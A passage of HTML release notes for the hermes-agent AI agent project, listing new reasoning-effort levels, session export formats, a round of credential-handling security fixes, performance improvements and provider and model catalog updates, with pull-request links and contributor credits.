data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
